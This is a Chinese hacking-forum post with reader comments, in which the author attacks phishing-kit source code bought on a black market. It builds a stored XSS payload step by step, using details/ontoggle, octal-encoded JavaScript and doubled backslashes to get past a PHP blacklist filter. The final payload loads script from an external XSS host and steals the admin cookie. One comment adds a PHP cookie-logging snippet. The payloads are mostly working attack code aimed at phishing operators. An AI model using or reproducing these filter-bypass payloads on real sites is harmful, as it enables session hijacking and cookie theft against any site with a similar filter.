攻破黑市最流行的钓鱼网站

2017-07-27 18:46:15 87 16460 13
这种类型的钓鱼网站最少有上百个了~我风在指尖今天要为民除害~~~

自己伪装成买家,花了150,从黑市买到这种钓鱼源码,开始进行研究

钓鱼站是这样的



看他的源码,我们得知,有专门的一个脚本用来过滤我们的XSS
过滤xss 脚本如下
<?PHP
function RemoveXSS($val) {
              //==========================//
            //                          //
            //随风 程序开发 QQ957223651 //
            //      此类用来防止XSS     //
            //==========================//

   $val = preg_replace('/([\x00-\x08,\x0b-\x0c,\x0e-\x19])/', '', $val);
   $search = 'abcdefghijklmnopqrstuvwxyz';
   $search .= 'ABCDEFGHIJKLMNOPQRSTUVWXYZ';
   $search .= '1234567890!@#$%^&*()';
   $search .= '~`";:?+/={}[]-_|\'\\';
   for ($i = 0; $i < strlen($search); $i++) {
      $val = preg_replace('/(&#[xX]0{0,8}'.dechex(ord($search[$i])).';?)/i', $search[$i], $val);
      $val = preg_replace('/(�{0,8}'.ord($search[$i]).';?)/', $search[$i], $val);
   }
   $ra1 = Array('javascript', 'vbscript', 'expression', 'applet', 'meta', 'xml', 'blink', 'link', 'style', 'script', 'embed', 'object', 'iframe', 'frame', 'frameset', 'ilayer', 'layer', 'bgsound', 'title', 'base');
   $ra2 = Array('onabort', 'onactivate', 'onafterprint', 'onafterupdate', 'onbeforeactivate', 'onbeforecopy', 'onbeforecut', 'onbeforedeactivate', 'onbeforeeditfocus', 'onbeforepaste', 'onbeforeprint', 'onbeforeunload', 'onbeforeupdate', 'onblur', 'onbounce', 'oncellchange', 'onchange', 'onclick', 'oncontextmenu', 'oncontrolselect', 'oncopy', 'oncut', 'ondataavailable', 'ondatasetchanged', 'ondatasetcomplete', 'ondblclick', 'ondeactivate', 'ondrag', 'ondragend', 'ondragenter', 'ondragleave', 'ondragover', 'ondragstart', 'ondrop', 'onerror', 'onerrorupdate', 'onfilterchange', 'onfinish', 'onfocus', 'onfocusin', 'onfocusout', 'onhelp', 'onkeydown', 'onkeypress', 'onkeyup', 'onlayoutcomplete', 'onload', 'onlosecapture', 'onmousedown', 'onmouseenter', 'onmouseleave', 'onmousemove', 'onmouseout', 'onmouseover', 'onmouseup', 'onmousewheel', 'onmove', 'onmoveend', 'onmovestart', 'onpaste', 'onpropertychange', 'onreadystatechange', 'onreset', 'onresize', 'onresizeend', 'onresizestart', 'onrowenter', 'onrowexit', 'onrowsdelete', 'onrowsinserted', 'onscroll', 'onselect', 'onselectionchange', 'onselectstart', 'onstart', 'onstop', 'onsubmit', 'onunload');
   $ra = array_merge($ra1, $ra2);

   $found = true;
   while ($found == true) {
      $val_before = $val;
      for ($i = 0; $i < sizeof($ra); $i++) {
         $pattern = '/';
         for ($j = 0; $j < strlen($ra[$i]); $j++) {
            if ($j > 0) {
               $pattern .= '(';
               $pattern .= '(&#[xX]0{0,8}([9ab]);)';
               $pattern .= '|';
               $pattern .= '|(&#{0,8}([9|10|13]);)';
               $pattern .= ')*';
            }
            $pattern .= $ra[$i][$j];
         }
         $pattern .= '/i';
         $replacement = substr($ra[$i], 0, 2).'<x>'.substr($ra[$i], 2);
         $val = preg_replace($pattern, $replacement, $val);
         if ($val_before == $val) {
            $found = false;
         }
      }
   }
   return $val;
}
?>
我们可以看到,能过滤的事件基本上都被对方过滤了

但是,像这种黑名单肯定都有不完善的地方没错
<details open="" ontoggle=alert``>
他没有过滤ontoggle事件并且也没过滤eval函数那么我们可以构造恶意代码、最常用的的写上

</TD><details open ontoggle=eval("\141\154\145\162\164\140\140")>
</Td> 是闭合标签,这里我们用了js8编码 \141\154\145\162\164\140\140 就是alert``  转换后的代码放入到对面查看试试 然后我们伪造成被钓鱼者,在钓鱼页面提交数据,把我们的payload插入到对方的 p12345变量中



然后我们进入到后台查看,却没有弹窗,这是为什么呢?



对其->右击->使用firebug 查看元素 看看为什么不能弹窗



对比查看
完整的代码
</TD><details open ontoggle=eval("\141\154\145\162\164\140\140")>
过滤后的代码
<details open=""141154145162164140140")">  </details>
把\ 过滤了 那么我们加两重绕过试试
</TD><details open ontoggle=eval("\\141\\154\\145\\162\\164\\140\\140")>
这段代码插进去试试看





成功弹窗,现在我们可以尝试 引用自己站点的代码了 。。。。。。。。。。。。。。。

源代码应该为
</TD><details open ontoggle=eval(var s=document.createElement('script');s.src='http://xss.tv/XA';document.body.appendChild(s);)>
直接放上去是不行的,我们要对其编码,使用JS8编码
</TD><details open ontoggle=eval("\166\141\162\40\163\75\144\157\143\165\155\145\156\164\56\143\162\145\141\164\145\105\154\145\155\145\156\164\50\47\163\143\162\151\160\164\47\51\73\163\56\163\162\143\75\47\150\164\164\160\72\57\57\170\163\163\56\164\166\57\130\101\47\73\144\157\143\165\155\145\156\164\56\142\157\144\171\56\141\160\160\145\156\144\103\150\151\154\144\50\163\51\73")>
然后把\改成\\ 绕过对方的过滤规则
</TD><details open ontoggle=eval("\\166\\141\\162\\40\\163\\75\\144\\157\\143\\165\\155\\145\\156\\164\\56\\143\\162\\145\\141\\164\\145\\105\\154\\145\\155\\145\\156\\164\\50\\47\\163\\143\\162\\151\\160\\164\\47\\51\\73\\163\\56\\163\\162\\143\\75\\47\\150\\164\\164\\160\\72\\57\\57\\170\\163\\163\\56\\164\\166\\57\\130\\101\\47\\73\\144\\157\\143\\165\\155\\145\\156\\164\\56\\142\\157\\144\\171\\56\\141\\160\\160\\145\\156\\144\\103\\150\\151\\154\\144\\50\\163\\51\\73")>
但是当我放上去的时候,并没有写到数据库,也就是说把 我这里的代码过滤了,到这里我百思不得其解,后来经过上百次测试,才知道,它限制的字符的长度,超过一定长度的字符,那么数据就不会被写入

那么只能不断的裁剪,不编码最终代码为
<details open ontoggle=document.body.appendChild(document.createElement("scr"+"ipt")).src="http://www.baidu.com">
是闭合掉前面的标签

<details open ontoggle=document.body.appendChild(document.createElement("scr"+"ipt")).src="http://www.baidu.com">
是引用我们XSS站点的代码,对方没有过滤document,只过滤了script

现在我们插入试试

依然没有成功执行,在继续看看对方的源码


将其复制出来,看看到底是什么原因


首先script标签被打乱了,并且多了个” 号,这很好绕过


前面我们看到过对方对JS8进制过滤不严格 可以对其JS8进制编码

我们再继续构造,把script转换成8进制,并且加上两个\\ 绕过对方过滤规则
"<details/open/ontoggle=document.body.appendChild(document.createElement('\\163\\143\\162\\151\\160\\164')).src='http://www.baidu.com'>
把script转换成JS8进制编码

把所有的” 号换成’ 号

这样构造


结果后台没有存储任何数据

后来才知道,  默认输入’单引号会被过滤,我们只能在’单引号前面加上\


最终的代码就是
"<details/open/ontoggle=document.body.appendChild(document.createElement(\'\\163\\143\\162\\151\\160\\164\')).src=\'http://xss.sssie.com/FMD27h\'>


然后自己进入后台查看



拿到cookie
自评TCV0

以下是我的XSS编码转换工具,基本上都是关于各种编码和转换的,还有社工字典生成, 大部分并非我原创,我只是把别人趴下来,放到自己源码里离线用 ,所以工具免费共享给各位,也希望各位传播的时候,不要收费

关于作者

风在指尖89篇文章882篇回复

我是真的菜

评论87次

要评论?请先  登录  或  注册
  • 47楼
    2017-7-29 01:08

    有没有搜特征,然后批量找出使用这xi统的网站?

  • 46楼
    2017-7-29 00:53

    经典、、、就是要狠狠打击钓鱼站!

  • 45楼
    2017-7-28 21:29

    不是很了解xss,研究下

  • 44楼
    2017-7-28 21:25

    牛皮 学xi了

  • 43楼
    2017-7-28 16:22

    打击钓鱼,人人有责

  • 42楼
    2017-7-28 15:53

    这过滤规则..... 服

  • 41楼
    2017-7-28 14:04

    学xi了,xss玩的不多,这个姿势收藏了

  • 40楼
    2017-7-28 12:54
    haikouxuege

    楼主花rmb做研究的精神666,卖家估计傻眼了,顺便问下,那个用来编码的网站是。。?

    1

    JS编码的源码我已经发出来了,可以自行下载

  • 39楼
    2017-7-28 12:52
    jackman

    @风在指尖 在哪买的源码,也去买个审计一下

    1

    qq群,你自己可以去搜索下, 然后把源码拿来自己研究,测试

  • 38楼
    2017-7-28 12:51
    UD94ZZZ

    这些网上过滤xss的脚本都是同一种吗?

    1
    风在指尖

    我并不敢保证每个人的过滤规则都是一样的,但是我可以跟你说,那些买源码的人 基本上是不会编写脚本的,他们只会钓鱼

    2
    UD94ZZZ

    "<details/open/ontoggle=document.body.appendChild(document.createElement(\'\\163\\143\\162\\151\\160\\164\')).src=\'http://xxxx/IMG.php\'> <?php var_dump($_COOKIE);$myfile = 'cookie.txt';file_put_contents($myfile,$_COOKIE,FILE_APPEND)?>大佬这样可以不?我刚刚翻自己邮箱发现以前这些人发我的钓鱼邮件的域名都失效了,我准备去建个团等着xss了。

    3

    我听说他们发钓鱼网站,更新很快的,URL 域名会不断的换, 必须他们的内部才行~ 想盲打进去,可以尝试利用搜索引擎试试,或者尝试搜索QQ群关键词 ,这种网站一般都有SQL注入,和XSS, 大家去简单的联xi一下也行

  • 37楼
    2017-7-28 12:17

    @风在指尖 在哪买的源码,也去买个审计一下

  • 36楼
    2017-7-28 12:16

    楼主花rmb做研究的精神666,卖家估计傻眼了,顺便问下,那个用来编码的网站是。。?

  • 35楼
    2017-7-28 12:05
    UD94ZZZ

    这些网上过滤xss的脚本都是同一种吗?

    1
    风在指尖

    我并不敢保证每个人的过滤规则都是一样的,但是我可以跟你说,那些买源码的人 基本上是不会编写脚本的,他们只会钓鱼

    2

    "<details/open/ontoggle=document.body.appendChild(document.createElement(\'\\163\\143\\162\\151\\160\\164\')).src=\'http://xxxx/IMG.php\'> <?php var_dump($_COOKIE);$myfile = 'cookie.txt';file_put_contents($myfile,$_COOKIE,FILE_APPEND)?> 大佬这样可以不?我刚刚翻自己邮箱发现以前这些人发我的钓鱼邮件的域名都失效了,我准备去建个团等着xss了。

  • 34楼
    2017-7-28 11:19

    白盒测试还是稳,楼主舍得花150去买源码来打击钓鱼网站 就凭这个我点个赞。 这个要是黑盒测试的话,估计得花很长时间,思路很赞,学xi了 <details>第一次看到运用,测试了下不知道为什么chrome不支持

  • 33楼
    2017-7-28 11:16
    倒着看人生

    黑市对于jsp写的网银钓鱼 撸主有没研究

    1

    没有,JSP 对我来说比较老了,我直接学的H5,JS,php这些,

  • 32楼
    2017-7-28 10:23

    黑市 对于jsp写的网银钓鱼 撸主有没研究

  • 31楼
    2017-7-28 10:12
    Anonymous

    老哥你这个编码网站能否共享一下?

    1
    风在指尖

    好的,我现在共享出来

    2

    幸苦了

  • 30楼
    2017-7-28 10:09
    了凡四训

    不入虎穴焉得虎子,赞楼主的探索精神!也学到了detail标签的ontoggle姿势。另外我发现好像这个ontoggle函数,IE和火狐不支持,http://www.runoob.com/jsref/event-ontoggle.html还有,楼主能说一下这个编码平台的网址吗,感觉很清新好用的样子

    1
    c0d3r1iu

    亲测,火狐54.0.1 (32 位) 可以弹窗

    2

    好吧,可能我参考的资料比较老了。上面的chrome版本是12.0,而现在的chrome都50多了。还是得手动试验一下。

  • 29楼
    2017-7-28 10:08
    了凡四训

    不入虎穴焉得虎子,赞楼主的探索精神!也学到了detail标签的ontoggle姿势。另外我发现好像这个ontoggle函数,IE和火狐不支持,http://www.runoob.com/jsref/event-ontoggle.html还有,楼主能说一下这个编码平台的网址吗,感觉很清新好用的样子

    1

    不只可以用detail标签,还有很多不常用的标签,XSS转换是我自己的,XSS编码工具已经共享出来了~我设置了是免费的,不过下载貌似还要2个吐司币不知道怎么回事~

  • 28楼
    2017-7-28 10:03
    Anonymous

    老哥你这个编码网站能否共享一下?

    1

    好的,我现在共享出来